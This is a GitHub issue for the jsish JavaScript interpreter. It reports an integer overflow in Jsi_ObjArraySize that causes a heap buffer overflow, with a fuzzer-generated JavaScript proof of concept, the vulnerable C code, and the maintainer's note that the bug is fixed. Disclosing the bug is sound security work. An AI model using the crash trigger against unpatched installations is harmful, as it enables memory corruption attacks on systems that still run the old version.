

[New issue](#)[Jump to bottom](#)

integer overflow and buffer overflow #5



rain6851 opened this issue on Apr 13, 2020 · 1 comment

rain6851 commented on Apr 13, 2020

Enviroment

operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1

poc:

```
var o = [
  1,
  2
];
o.length = -9007199254740991;
o, 90040991;
var ExBs = new RegExp('>l1Pq4Q~R$!');
ExBs = o.reverse();
var zaCp = o.unshift(o.length, o, ExBs.lastIndex, o);
o.length = o.length != o;
o = zaCp.toExponential(o.length);
var FFYD = new RegExp('@0sH');
JSON.stringify('/Z-s#YisGL');
o = o.constructor();
FFYD.lastIndex = -1 <= -2147483647;
o.length = 1e+81 == FFYD.lastIndex;
var yfsi = new Map([
  [
    1,
    1200,
    o.length,
    ExBs.lastIndex
  ],
  [
    o,
    ExBs,
    o,
    0,
    -Infinity,
    -Infinity
  ]
]);
var HJwz = new Map([
  [
    [
      o,
      o,
      -1
    ]
  ]
]);
var QkwQ = new RegExp('GBY');
var dPft = new Map([
  [
    [
      -2147483648,
      FFYD.lastIndex,
      FFYD,
      3037000498,
      0.1,
      ExBs.length,
      FFYD,
      2147483649
    ],
    [
      ExBs,
      FFYD.lastIndex,
      -9007199254740994
    ]
  ]
]);
var fjMQ = o.indexOf(0.2, function () {
});
var a = Object.keys(o);
var TdaH = new RegExp('#0Chy=U2|.xg^{;x0}');
var APSB = -9007199254740990 != a.length;
var BYaK = new Float32Array([
  yfsi,
  4,
  -4294967295,
  FFYD,
  zaCp
]);
var wCMe = new WeakSet([]);
```

vulnerability description:

```

415 int Jsi_ObjArraySize(Jsi_Interp *interp, Jsi_Obj *obj, uint len)
416 {
417     int nsiz = len + 1, mod = ALLOC_MOD_SIZE;
418     assert(obj->isArray);
419     if (mod < 1)
420         nsiz = nsiz + ((mod-1) - nsiz + mod - 1) % mod;
421     if (nsiz > MAX_ARRAY_LIST) {
422         Jsi_LogError("array size too large");
423         return 0;
424     }
425     if (len >= obj->arrMaxSize) {
426         int oldsz = (nsiz-obj->arrMaxSize);
427         obj->arr = (Jsi_Value**)Jsi_Realloc(obj->arr, nsiz*sizeof(Jsi_Value));
428         memset(obj->arr+obj->arrMaxSize, 0, oldsz*sizeof(Jsi_Value));
429         obj->arrMaxSize = nsiz;
430     }
431     if (len > obj->arrCnt)
432         obj->arrCnt = len;
433     return nsiz;
434 }

```


In src/jsiObj.c:428, len is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can bypass the two checks of line 421 and line 425.

```

425     if (len >= obj->arrMaxSize) {
426         int oldsz = (nsiz-obj->arrMaxSize);
427         obj->arr = (Jsi_Value**)Jsi_Realloc(obj->arr, nsiz*sizeof(Jsi_Value));
428         memset(obj->arr+obj->arrMaxSize, 0, oldsz*sizeof(Jsi_Value));

```

obj-> arr will get a smaller size of heap space, and then memset assigns a value to the space pointed to by obj-> arr + obj-> arrMaxSize , but this time has exceeded the actual heap range of obj-> arr , causing heap overflow .

 **pcmacdon** pushed a commit that referenced this issue on Apr 13, 2020

Release "3.0.8": Address Array alloc sizing issues from issue "intege... [...](#)

858da53

pcmacdon commented on Apr 13, 2020

Owner

As of the previous commit the above reported bug is no longer reproducible.
However, have reworked code to use uint and avoid the problem, and also to use interp->maxArrayList instead of MAX_ARRAY_LIST.

 **pcmacdon** closed this as completed on Apr 13, 2020

 This was referenced on Apr 13, 2020

integer overflow and buffer overflow #6

 Closed

buffer overflow #7

 Closed

integer overflow and buffer overflow #8

 Closed

integer overflow and buffer overflow #9

 Closed

 This was referenced on May 11, 2020

Illegal memory dereference in isFiniteCmd #12

 Closed

Null pointer dereference in url_encode #13

 Closed

Illegal memory dereference #14

 Closed

 This was referenced on Oct 20, 2020

stack-overflow in glibc regcomp #22

 Open

heap-use-after-free at Jsi_ObjFree src/jsiObj.c:333 #23

 Closed

heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #24

 Closed

heap-use-after-free at jsi_ArrayReduceSubCmd src/jsiArray.c:620 #25

 Closed

heap-use-after-free at DeleteTreeValue src/jsiObj.c:170 #26

 Closed

heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #28

 Closed

heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #29

 Closed

 This was referenced on Oct 31, 2020

SEGV at Jsi_TreeObjGetValue src/jsiObj.c:11 #30

 Closed

heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #31

 Closed

heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #32

 Closed

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

